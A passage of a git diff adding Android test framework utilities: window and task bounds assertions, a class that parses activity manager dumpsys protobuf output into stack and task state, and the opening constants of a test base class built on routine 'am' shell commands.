+ void assertDockedTaskBounds(int taskWidth, int taskHeight, String activityName) {
+ // Task size can be affected by default minimal size.
+ int defaultMinimalTaskSize = defaultMinimalTaskSize(
+ mAmState.getStandardStackByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY).mDisplayId);
+ int targetWidth = Math.max(taskWidth, defaultMinimalTaskSize);
+ int targetHeight = Math.max(taskHeight, defaultMinimalTaskSize);
+
+ assertEquals(new Rect(0, 0, targetWidth, targetHeight),
+ mAmState.getTaskByActivityName(activityName).getBounds());
+ }
+
+ void assertValidBounds(boolean compareTaskAndStackBounds) {
+ // Cycle through the stacks and tasks to figure out if the home stack is resizable
+ final ActivityTask homeTask = mAmState.getHomeTask();
+ final boolean homeStackIsResizable = homeTask != null
+ && homeTask.getResizeMode() == RESIZE_MODE_RESIZEABLE;
+
+ for (ActivityStack aStack : mAmState.getStacks()) {
+ final int stackId = aStack.mStackId;
+ final WindowStack wStack = mWmState.getStack(stackId);
+ assertNotNull("stackId=" + stackId + " in AM but not in WM?", wStack);
+
+ assertEquals("Stack fullscreen state in AM and WM must be equal stackId=" + stackId,
+ aStack.isFullscreen(), wStack.isFullscreen());
+
+ final Rect aStackBounds = aStack.getBounds();
+ final Rect wStackBounds = wStack.getBounds();
+
+ if (aStack.isFullscreen()) {
+ assertNull("Stack bounds in AM must be null stackId=" + stackId, aStackBounds);
+ } else {
+ assertEquals("Stack bounds in AM and WM must be equal stackId=" + stackId,
+ aStackBounds, wStackBounds);
+ }
+
+ for (ActivityTask aTask : aStack.getTasks()) {
+ final int taskId = aTask.mTaskId;
+ final WindowTask wTask = wStack.getTask(taskId);
+ assertNotNull(
+ "taskId=" + taskId + " in AM but not in WM? stackId=" + stackId, wTask);
+
+ final boolean aTaskIsFullscreen = aTask.isFullscreen();
+ final boolean wTaskIsFullscreen = wTask.isFullscreen();
+ assertEquals("Task fullscreen state in AM and WM must be equal taskId=" + taskId
+ + ", stackId=" + stackId, aTaskIsFullscreen, wTaskIsFullscreen);
+
+ final Rect aTaskBounds = aTask.getBounds();
+ final Rect wTaskBounds = wTask.getBounds();
+
+ if (aTaskIsFullscreen) {
+ assertNull("Task bounds in AM must be null for fullscreen taskId=" + taskId,
+ aTaskBounds);
+ } else if (!homeStackIsResizable && mWmState.isDockedStackMinimized()
+ && !isScreenPortrait(aStack.mDisplayId)) {
+ // When minimized using non-resizable launcher in landscape mode, it will move
+ // the task offscreen in the negative x direction unlike portrait that crops.
+ // The x value in the task bounds will not match the stack bounds since the
+ // only the task was moved.
+ assertEquals("Task bounds in AM and WM must match width taskId=" + taskId
+ + ", stackId" + stackId, aTaskBounds.width(),
+ wTaskBounds.width());
+ assertEquals("Task bounds in AM and WM must match height taskId=" + taskId
+ + ", stackId" + stackId, aTaskBounds.height(),
+ wTaskBounds.height());
+ assertEquals("Task bounds must match stack bounds y taskId=" + taskId
+ + ", stackId" + stackId, aTaskBounds.top,
+ wTaskBounds.top);
+ assertEquals("Task and stack bounds must match width taskId=" + taskId
+ + ", stackId" + stackId, aStackBounds.width(),
+ wTaskBounds.width());
+ assertEquals("Task and stack bounds must match height taskId=" + taskId
+ + ", stackId" + stackId, aStackBounds.height(),
+ wTaskBounds.height());
+ assertEquals("Task and stack bounds must match y taskId=" + taskId
+ + ", stackId" + stackId, aStackBounds.top,
+ wTaskBounds.top);
+ } else {
+ assertEquals("Task bounds in AM and WM must be equal taskId=" + taskId
+ + ", stackId=" + stackId, aTaskBounds, wTaskBounds);
+
+ if (compareTaskAndStackBounds
+ && aStack.getWindowingMode() != WINDOWING_MODE_FREEFORM) {
+ int aTaskMinWidth = aTask.getMinWidth();
+ int aTaskMinHeight = aTask.getMinHeight();
+
+ if (aTaskMinWidth == -1 || aTaskMinHeight == -1) {
+ // Minimal dimension(s) not set for task - it should be using defaults.
+ int defaultMinimalSize =
+ aStack.getWindowingMode() == WINDOWING_MODE_PINNED
+ ? defaultMinimalPinnedTaskSize(aStack.mDisplayId)
+ : defaultMinimalTaskSize(aStack.mDisplayId);
+
+ if (aTaskMinWidth == -1) {
+ aTaskMinWidth = defaultMinimalSize;
+ }
+ if (aTaskMinHeight == -1) {
+ aTaskMinHeight = defaultMinimalSize;
+ }
+ }
+
+ if (aStackBounds.width() >= aTaskMinWidth
+ && aStackBounds.height() >= aTaskMinHeight
+ || aStack.getWindowingMode() == WINDOWING_MODE_PINNED) {
+ // Bounds are not smaller then minimal possible, so stack and task
+ // bounds must be equal.
+ assertEquals("Task bounds must be equal to stack bounds taskId="
+ + taskId + ", stackId=" + stackId, aStackBounds, wTaskBounds);
+ } else if (aStack.getWindowingMode() == WINDOWING_MODE_SPLIT_SCREEN_PRIMARY
+ && homeStackIsResizable && mWmState.isDockedStackMinimized()) {
+ // Portrait if the display height is larger than the width
+ if (isScreenPortrait(aStack.mDisplayId)) {
+ assertEquals("Task width must be equal to stack width taskId="
+ + taskId + ", stackId=" + stackId,
+ aStackBounds.width(), wTaskBounds.width());
+ assertTrue("Task height must be greater than stack height "
+ + "taskId=" + taskId + ", stackId=" + stackId,
+ aStackBounds.height() < wTaskBounds.height());
+ assertEquals("Task and stack x position must be equal taskId="
+ + taskId + ", stackId=" + stackId,
+ wTaskBounds.left, wStackBounds.left);
+ } else {
+ assertTrue("Task width must be greater than stack width taskId="
+ + taskId + ", stackId=" + stackId,
+ aStackBounds.width() < wTaskBounds.width());
+ assertEquals("Task height must be equal to stack height taskId="
+ + taskId + ", stackId=" + stackId,
+ aStackBounds.height(), wTaskBounds.height());
+ assertEquals("Task and stack y position must be equal taskId="
+ + taskId + ", stackId=" + stackId, wTaskBounds.top,
+ wStackBounds.top);
+ }
+ } else {
+ // Minimal dimensions affect task size, so bounds of task and stack must
+ // be different - will compare dimensions instead.
+ int targetWidth = (int) Math.max(aTaskMinWidth,
+ aStackBounds.width());
+ assertEquals("Task width must be set according to minimal width"
+ + " taskId=" + taskId + ", stackId=" + stackId,
+ targetWidth, (int) wTaskBounds.width());
+ int targetHeight = (int) Math.max(aTaskMinHeight,
+ aStackBounds.height());
+ assertEquals("Task height must be set according to minimal height"
+ + " taskId=" + taskId + ", stackId=" + stackId,
+ targetHeight, (int) wTaskBounds.height());
+ }
+ }
+ }
+ }
+ }
+ }
+
+ boolean isScreenPortrait() {
+ final int displayId = mAmState.getStandardStackByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY).mDisplayId;
+ return isScreenPortrait(displayId);
+ }
+
+ boolean isScreenPortrait(int displayId) {
+ final Rect displayRect = mWmState.getDisplay(displayId).getDisplayRect();
+ return displayRect.height() > displayRect.width();
+ }
+
+ static int dpToPx(float dp, int densityDpi) {
+ return (int) (dp * densityDpi / DISPLAY_DENSITY_DEFAULT + 0.5f);
+ }
+
+ private int defaultMinimalTaskSize(int displayId) {
+ return dpToPx(DEFAULT_RESIZABLE_TASK_SIZE_DP, mWmState.getDisplay(displayId).getDpi());
+ }
+
+ private int defaultMinimalPinnedTaskSize(int displayId) {
+ return dpToPx(DEFAULT_PIP_RESIZABLE_TASK_SIZE_DP, mWmState.getDisplay(displayId).getDpi());
+ }
+}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
new file mode 100644
index 0000000..7350b85
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
@@ -0,0 +1,639 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.ActivityManager.StackId.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.server.am.ProtoExtractors.extract;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+
+import android.content.ComponentName;
+import android.graphics.Rect;
+import android.os.ParcelFileDescriptor;
+import android.support.test.InstrumentationRegistry;
+
+import com.android.server.am.proto.nano.ActivityDisplayProto;
+import com.android.server.am.proto.nano.ActivityRecordProto;
+import com.android.server.am.proto.nano.ActivityStackProto;
+import com.android.server.am.proto.nano.ActivityStackSupervisorProto;
+import com.android.server.am.proto.nano.KeyguardControllerProto;
+import com.android.server.am.proto.nano.TaskRecordProto;
+import com.android.server.wm.proto.nano.ConfigurationContainerProto;
+
+import com.google.protobuf.nano.InvalidProtocolBufferNanoException;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class ActivityManagerState {
+
+ public static final int DUMP_MODE_ACTIVITIES = 0;
+
+ public static final String STATE_RESUMED = "RESUMED";
+ public static final String STATE_PAUSED = "PAUSED";
+ public static final String STATE_STOPPED = "STOPPED";
+ public static final String STATE_DESTROYED = "DESTROYED";
+
+ private static final String DUMPSYS_ACTIVITY_ACTIVITIES = "dumpsys activity --proto activities";
+
+ // Stacks in z-order with the top most at the front of the list, starting with primary display.
+ private final List<ActivityStack> mStacks = new ArrayList<>();
+ // Stacks on all attached displays, in z-order with the top most at the front of the list.
+ private final Map<Integer, List<ActivityStack>> mDisplayStacks = new HashMap<>();
+ private KeyguardControllerState mKeyguardControllerState;
+ private int mFocusedStackId = -1;
+ private String mResumedActivityRecord = null;
+ private final List<String> mResumedActivities = new ArrayList<>();
+
+ void computeState() {
+ computeState(DUMP_MODE_ACTIVITIES);
+ }
+
+ void computeState(int dumpMode) {
+ // It is possible the system is in the middle of transition to the right state when we get
+ // the dump. We try a few times to get the information we need before giving up.
+ int retriesLeft = 3;
+ boolean retry = false;
+ byte[] dump = null;
+
+ log("==============================");
+ log(" ActivityManagerState ");
+ log("==============================");
+
+ do {
+ if (retry) {
+ log("***Incomplete AM state. Retrying...");
+ // Wait half a second between retries for activity manager to finish transitioning.
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ // Well I guess we are not waiting...
+ }
+ }
+
+ String dumpsysCmd = "";
+ switch (dumpMode) {
+ case DUMP_MODE_ACTIVITIES:
+ dumpsysCmd = DUMPSYS_ACTIVITY_ACTIVITIES;
+ break;
+ }
+
+ dump = executeShellCommand(dumpsysCmd);
+ try {
+ parseSysDumpProto(dump);
+ } catch (InvalidProtocolBufferNanoException ex) {
+ throw new RuntimeException("Failed to parse dumpsys:\n"
+ + new String(dump, StandardCharsets.UTF_8), ex);
+ }
+
+ retry = mStacks.isEmpty() || mFocusedStackId == -1 || (mResumedActivityRecord == null
+ || mResumedActivities.isEmpty()) && !mKeyguardControllerState.keyguardShowing;
+ } while (retry && retriesLeft-- > 0);
+
+ if (mStacks.isEmpty()) {
+ logE("No stacks found...");
+ }
+ if (mFocusedStackId == -1) {
+ logE("No focused stack found...");
+ }
+ if (mResumedActivityRecord == null) {
+ logE("No focused activity found...");
+ }
+ if (mResumedActivities.isEmpty()) {
+ logE("No resumed activities found...");
+ }
+ }
+
+ private byte[] executeShellCommand(String cmd) {
+ try {
+ ParcelFileDescriptor pfd =
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .executeShellCommand(cmd);
+ byte[] buf = new byte[512];
+ int bytesRead;
+ FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+ ByteArrayOutputStream stdout = new ByteArrayOutputStream();
+ while ((bytesRead = fis.read(buf)) != -1) {
+ stdout.write(buf, 0, bytesRead);
+ }
+ fis.close();
+ return stdout.toByteArray();
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ private void parseSysDumpProto(byte[] sysDump) throws InvalidProtocolBufferNanoException {
+ reset();
+
+ ActivityStackSupervisorProto state = ActivityStackSupervisorProto.parseFrom(sysDump);
+ for (int i = 0; i < state.displays.length; i++) {
+ ActivityDisplayProto displayStack = state.displays[i];
+ List<ActivityStack> activityStacks = new ArrayList<>();
+ for (int j = 0; j < displayStack.stacks.length; j++) {
+ ActivityStack activityStack = new ActivityStack(displayStack.stacks[j]);
+ mStacks.add(activityStack);
+ activityStacks.add(activityStack);
+ if (activityStack.mResumedActivity != null) {
+ mResumedActivities.add(activityStack.mResumedActivity);
+ }
+ }
+ mDisplayStacks.put(displayStack.id, activityStacks);
+ }
+ mKeyguardControllerState = new KeyguardControllerState(state.keyguardController);
+ mFocusedStackId = state.focusedStackId;
+ if (state.resumedActivity != null) {
+ mResumedActivityRecord = state.resumedActivity.title;
+ }
+ }
+
+
+ private void reset() {
+ mStacks.clear();
+ mDisplayStacks.clear();
+ mFocusedStackId = -1;
+ mResumedActivityRecord = null;
+ mResumedActivities.clear();
+ mKeyguardControllerState = null;
+ }
+
+ int getFrontStackId(int displayId) {
+ return mDisplayStacks.get(displayId).get(0).mStackId;
+ }
+
+ int getFrontStackActivityType(int displayId) {
+ return mDisplayStacks.get(displayId).get(0).getActivityType();
+ }
+
+ int getFrontStackWindowingMode(int displayId) {
+ return mDisplayStacks.get(displayId).get(0).getWindowingMode();
+ }
+
+ int getFocusedStackId() {
+ return mFocusedStackId;
+ }
+
+ int getFocusedStackActivityType() {
+ final ActivityStack stack = getStackById(mFocusedStackId);
+ return stack != null ? stack.getActivityType() : ACTIVITY_TYPE_UNDEFINED;
+ }
+
+ int getFocusedStackWindowingMode() {
+ final ActivityStack stack = getStackById(mFocusedStackId);
+ return stack != null ? stack.getWindowingMode() : WINDOWING_MODE_UNDEFINED;
+ }
+
+ String getFocusedActivity() {
+ return mResumedActivityRecord;
+ }
+
+ String getResumedActivity() {
+ return mResumedActivities.get(0);
+ }
+
+ int getResumedActivitiesCount() {
+ return mResumedActivities.size();
+ }
+
+ public KeyguardControllerState getKeyguardControllerState() {
+ return mKeyguardControllerState;
+ }
+
+ boolean containsStack(int stackId) {
+ return getStackById(stackId) != null;
+ }
+
+ boolean containsStack(int windowingMode, int activityType) {
+ for (ActivityStack stack : mStacks) {
+ if (activityType != ACTIVITY_TYPE_UNDEFINED
+ && activityType != stack.getActivityType()) {
+ continue;
+ }
+ if (windowingMode != WINDOWING_MODE_UNDEFINED
+ && windowingMode != stack.getWindowingMode()) {
+ continue;
+ }
+ return true;
+ }
+ return false;
+ }
+
+ ActivityStack getStackById(int stackId) {
+ for (ActivityStack stack : mStacks) {
+ if (stackId == stack.mStackId) {
+ return stack;
+ }
+ }
+ return null;
+ }
+
+ ActivityStack getStackByActivityType(int activityType) {
+ for (ActivityStack stack : mStacks) {
+ if (activityType == stack.getActivityType()) {
+ return stack;
+ }
+ }
+ return null;
+ }
+
+ ActivityStack getStandardStackByWindowingMode(int windowingMode) {
+ for (ActivityStack stack : mStacks) {
+ if (stack.getActivityType() != ACTIVITY_TYPE_STANDARD) {
+ continue;
+ }
+ if (stack.getWindowingMode() == windowingMode) {
+ return stack;
+ }
+ }
+ return null;
+ }
+
+ int getStandardTaskCountByWindowingMode(int windowingMode) {
+ int count = 0;
+ for (ActivityStack stack : mStacks) {
+ if (stack.getActivityType() != ACTIVITY_TYPE_STANDARD) {
+ continue;
+ }
+ if (stack.getWindowingMode() == windowingMode) {
+ count += stack.mTasks.size();
+ }
+ }
+ return count;
+ }
+
+ int getStackIndexByActivityType(int activityType) {
+ for (int i = 0; i < mStacks.size(); i++) {
+ if (activityType == mStacks.get(i).getActivityType()) {
+ return i;
+ }
+ }
+ return -1;
+ }
+
+ int getStackIndexByActivityName(String activityName) {
+ final String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
+ for (int i = mStacks.size() - 1; i >=0 ; --i) {
+ final ActivityStack stack = mStacks.get(i);
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (activity.name.equals(fullName)) {
+ return i;
+ }
+ }
+ }
+ }
+ return -1;
+ }
+
+ List<ActivityStack> getStacks() {
+ return new ArrayList<>(mStacks);
+ }
+
+ int getStackCount() {
+ return mStacks.size();
+ }
+
+ boolean containsActivity(String activityName) {
+ for (ActivityStack stack : mStacks) {
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (activity.name.equals(activityName)) {
+ return true;
+ }
+ }
+ }
+ }
+ return false;
+ }
+
+ boolean containsActivityInWindowingMode(String activityName, int windowingMode) {
+ final String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
+ for (ActivityStack stack : mStacks) {
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (activity.name.equals(fullName)
+ && activity.getWindowingMode() == windowingMode) {
+ return true;
+ }
+ }
+ }
+ }
+ return false;
+ }
+
+ boolean isActivityVisible(String activityName) {
+ for (ActivityStack stack : mStacks) {
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (activity.name.equals(activityName)) {
+ return activity.visible;
+ }
+ }
+ }
+ }
+ return false;
+ }
+
+ boolean containsStartedActivities() {
+ for (ActivityStack stack : mStacks) {
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (!activity.state.equals(STATE_STOPPED)
+ && !activity.state.equals(STATE_DESTROYED)) {
+ return true;
+ }
+ }
+ }
+ }
+ return false;
+ }
+
+ boolean hasActivityState(String activityName, String activityState) {
+ String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
+ for (ActivityStack stack : mStacks) {
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (activity.name.equals(fullName)) {
+ return activity.state.equals(activityState);
+ }
+ }
+ }
+ }
+ return false;
+ }
+
+ int getActivityProcId(String activityName) {
+ for (ActivityStack stack : mStacks) {
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (activity.name.equals(activityName)) {
+ return activity.procId;
+ }
+ }
+ }
+ }
+ return -1;
+ }
+
+ boolean isRecentsActivityVisible() {
+ final Activity recentsActivity = getRecentsActivity();
+ return recentsActivity != null && recentsActivity.visible;
+ }
+
+ ComponentName getHomeActivityName() {
+ Activity activity = getHomeActivity();
+ if (activity == null) {
+ return null;
+ }
+ return ComponentName.unflattenFromString(activity.name);
+ }
+
+ ActivityTask getHomeTask() {
+ final ActivityStack homeStack = getStackByActivityType(ACTIVITY_TYPE_HOME);
+ if (homeStack != null && !homeStack.mTasks.isEmpty()) {
+ return homeStack.mTasks.get(0);
+ }
+ return null;
+ }
+
+ private ActivityTask getRecentsTask() {
+ final ActivityStack recentsStack = getStackByActivityType(ACTIVITY_TYPE_RECENTS);
+ if (recentsStack != null && !recentsStack.mTasks.isEmpty()) {
+ return recentsStack.mTasks.get(0);
+ }
+ return null;
+ }
+
+ private Activity getHomeActivity() {
+ final ActivityTask homeTask = getHomeTask();
+ return homeTask != null ? homeTask.mActivities.get(homeTask.mActivities.size() - 1) : null;
+ }
+
+ private Activity getRecentsActivity() {
+ final ActivityTask recentsTask = getRecentsTask();
+ return recentsTask != null ? recentsTask.mActivities.get(recentsTask.mActivities.size() - 1)
+ : null;
+ }
+
+ int getStackIdByActivityName(String activityName) {
+ final ActivityTask task = getTaskByActivityName(activityName);
+
+ if (task == null) {
+ return INVALID_STACK_ID;
+ }
+
+ return task.mStackId;
+ }
+
+ ActivityTask getTaskByActivityName(String activityName) {
+ return getTaskByActivityName(activityName, WINDOWING_MODE_UNDEFINED);
+ }
+
+ ActivityTask getTaskByActivityName(String activityName, int windowingMode) {
+ String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
+ for (ActivityStack stack : mStacks) {
+ if (windowingMode == WINDOWING_MODE_UNDEFINED
+ || windowingMode == stack.getWindowingMode()) {
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (activity.name.equals(fullName)) {
+ return task;
+ }
+ }
+ }
+ }
+ }
+ return null;
+ }
+
+ static class ActivityStack extends ActivityContainer {
+
+ int mDisplayId;
+ int mStackId;
+ String mResumedActivity;
+ ArrayList<ActivityTask> mTasks = new ArrayList<>();
+
+ ActivityStack(ActivityStackProto proto) {
+ super(proto.configurationContainer);
+ mStackId = proto.id;
+ mDisplayId = proto.displayId;
+ mBounds = extract(proto.bounds);
+ mFullscreen = proto.fullscreen;
+ for (int i = 0; i < proto.tasks.length; i++) {
+ mTasks.add(new ActivityTask(proto.tasks[i]));
+ }
+ if (proto.resumedActivity != null) {
+ mResumedActivity = proto.resumedActivity.title;
+ }
+ }
+
+ /**
+ * @return the bottom task in the stack.
+ */
+ ActivityTask getBottomTask() {
+ if (!mTasks.isEmpty()) {
+ // NOTE: Unlike the ActivityManager internals, we dump the state from top to bottom,
+ // so the indices are inverted
+ return mTasks.get(mTasks.size() - 1);
+ }
+ return null;
+ }
+
+ /**
+ * @return the top task in the stack.
+ */
+ ActivityTask getTopTask() {
+ if (!mTasks.isEmpty()) {
+ // NOTE: Unlike the ActivityManager internals, we dump the state from top to bottom,
+ // so the indices are inverted
+ return mTasks.get(0);
+ }
+ return null;
+ }
+
+ List<ActivityTask> getTasks() {
+ return new ArrayList<>(mTasks);
+ }
+
+ ActivityTask getTask(int taskId) {
+ for (ActivityTask task : mTasks) {
+ if (taskId == task.mTaskId) {
+ return task;
+ }
+ }
+ return null;
+ }
+ }
+
+ static class ActivityTask extends ActivityContainer {
+
+ int mTaskId;
+ int mStackId;
+ Rect mLastNonFullscreenBounds;
+ String mRealActivity;
+ String mOrigActivity;
+ ArrayList<Activity> mActivities = new ArrayList<>();
+ int mTaskType = -1;
+ private int mResizeMode;
+
+ ActivityTask(TaskRecordProto proto) {
+ super(proto.configurationContainer);
+ mTaskId = proto.id;
+ mStackId = proto.stackId;
+ mLastNonFullscreenBounds = extract(proto.lastNonFullscreenBounds);
+ mRealActivity = proto.realActivity;
+ mOrigActivity = proto.origActivity;
+ mTaskType = proto.activityType;
+ mResizeMode = proto.resizeMode;
+ mFullscreen = proto.fullscreen;
+ mBounds = extract(proto.bounds);
+ mMinWidth = proto.minWidth;
+ mMinHeight = proto.minHeight;
+ for (int i = 0; i < proto.activities.length; i++) {
+ mActivities.add(new Activity(proto.activities[i]));
+ }
+ }
+
+ public int getResizeMode() {
+ return mResizeMode;
+ }
+
+ /**
+ * @return whether this task contains the given activity.
+ */
+ public boolean containsActivity(String activityName) {
+ for (Activity activity : mActivities) {
+ if (activity.name.equals(activityName)) {
+ return true;
+ }
+ }
+ return false;
+ }
+ }
+
+ static class Activity extends ActivityContainer {
+
+ String name;
+ String state;
+ boolean visible;
+ boolean frontOfTask;
+ int procId = -1;
+
+ Activity(ActivityRecordProto proto) {
+ super(proto.configurationContainer);
+ name = proto.identifier.title;
+ state = proto.state;
+ visible = proto.visible;
+ frontOfTask = proto.frontOfTask;
+ if (proto.procId != 0) {
+ procId = proto.procId;
+ }
+ }
+ }
+
+ static abstract class ActivityContainer extends WindowManagerState.ConfigurationContainer {
+ protected boolean mFullscreen;
+ protected Rect mBounds;
+ protected int mMinWidth = -1;
+ protected int mMinHeight = -1;
+
+ ActivityContainer(ConfigurationContainerProto proto) {
+ super(proto);
+ }
+
+ Rect getBounds() {
+ return mBounds;
+ }
+
+ boolean isFullscreen() {
+ return mFullscreen;
+ }
+
+ int getMinWidth() {
+ return mMinWidth;
+ }
+
+ int getMinHeight() {
+ return mMinHeight;
+ }
+ }
+
+ static class KeyguardControllerState {
+
+ boolean keyguardShowing = false;
+ boolean keyguardOccluded = false;
+
+ KeyguardControllerState(KeyguardControllerProto proto) {
+ if (proto != null) {
+ keyguardShowing = proto.keyguardShowing;
+ keyguardOccluded = proto.keyguardOccluded;
+ }
+ }
+ }
+}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
new file mode 100644
index 0000000..40ecfff
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
@@ -0,0 +1,1493 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.ActivityManager.SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT;
+import static android.app.ActivityManager.StackId.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.content.pm.PackageManager.FEATURE_EMBEDDED;
+import static android.content.pm.PackageManager.FEATURE_FREEFORM_WINDOW_MANAGEMENT;
+import static android.content.pm.PackageManager.FEATURE_LEANBACK;
+import static android.content.pm.PackageManager.FEATURE_PICTURE_IN_PICTURE;
+import static android.content.pm.PackageManager.FEATURE_SCREEN_LANDSCAPE;
+import static android.content.pm.PackageManager.FEATURE_SCREEN_PORTRAIT;
+import static android.content.pm.PackageManager.FEATURE_VR_MODE;
+import static android.content.pm.PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE;
+import static android.content.pm.PackageManager.FEATURE_WATCH;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+import static android.view.KeyEvent.KEYCODE_APP_SWITCH;
+
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.os.ParcelFileDescriptor;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
+import android.view.Display;
+import android.view.Surface;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.HashSet;
+import java.util.List;
+import java.util.UUID;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public abstract class ActivityManagerTestBase {
+ private static final boolean PRETEND_DEVICE_SUPPORTS_PIP = false;
+ private static final boolean PRETEND_DEVICE_SUPPORTS_FREEFORM = false;
+ private static final String LOG_SEPARATOR = "LOG_SEPARATOR";
+
+ protected static final int[] ALL_ACTIVITY_TYPE_BUT_HOME = {
+ ACTIVITY_TYPE_STANDARD, ACTIVITY_TYPE_ASSISTANT, ACTIVITY_TYPE_RECENTS,
+ ACTIVITY_TYPE_UNDEFINED
+ };
+
+ private static final String TASK_ID_PREFIX = "taskId";
+
+ private static final String AM_STACK_LIST = "am stack list";
+
+ private static final String AM_FORCE_STOP_TEST_PACKAGE = "am force-stop android.server.am";
+ private static final String AM_FORCE_STOP_SECOND_TEST_PACKAGE
+ = "am force-stop android.server.am.second";
+ private static final String AM_FORCE_STOP_THIRD_TEST_PACKAGE
+ = "am force-stop android.server.am.third";
+
+ protected static final String AM_START_HOME_ACTIVITY_COMMAND =
+ "am start -a android.intent.action.MAIN -c android.intent.category.HOME";
+
+ private static final String AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND_FORMAT =
+ "am stack move-top-activity-to-pinned-stack %1d 0 0 500 500";
+
+ static final String LAUNCHING_ACTIVITY = "LaunchingActivity";
+ static final String ALT_LAUNCHING_ACTIVITY = "AltLaunchingActivity";
+ static final String BROADCAST_RECEIVER_ACTIVITY = "BroadcastReceiverActivity";
+
+ /** Broadcast shell command for finishing {@link BroadcastReceiverActivity}. */
+ static final String FINISH_ACTIVITY_BROADCAST
+ = "am broadcast -a trigger_broadcast --ez finish true";
+
+ /** Broadcast shell command for finishing {@link BroadcastReceiverActivity}. */
+ static final String MOVE_TASK_TO_BACK_BROADCAST
+ = "am broadcast -a trigger_broadcast --ez moveToBack true";
+
+ private static final String AM_RESIZE_DOCKED_STACK = "am stack resize-docked-stack ";
+ private static final String AM_RESIZE_STACK = "am stack resize ";
+
+ static final String AM_MOVE_TASK = "am stack move-task ";
+
+ private static final String AM_NO_HOME_SCREEN = "am no-home-screen";
+
+ private static final String LOCK_CREDENTIAL = "1234";
+
+ private static final int INVALID_DISPLAY_ID = Display.INVALID_DISPLAY;
+
+ private static final String DEFAULT_COMPONENT_NAME = "android.server.am";
+
+ private static final int UI_MODE_TYPE_MASK = 0x0f;
+ private static final int UI_MODE_TYPE_VR_HEADSET = 0x07;
+
+ private static Boolean sHasHomeScreen = null;
+
+ // TODO: Remove this when all activity name are specified by {@link ComponentName}.
+ static String componentName = DEFAULT_COMPONENT_NAME;
+
+ protected static final int INVALID_DEVICE_ROTATION = -1;
+
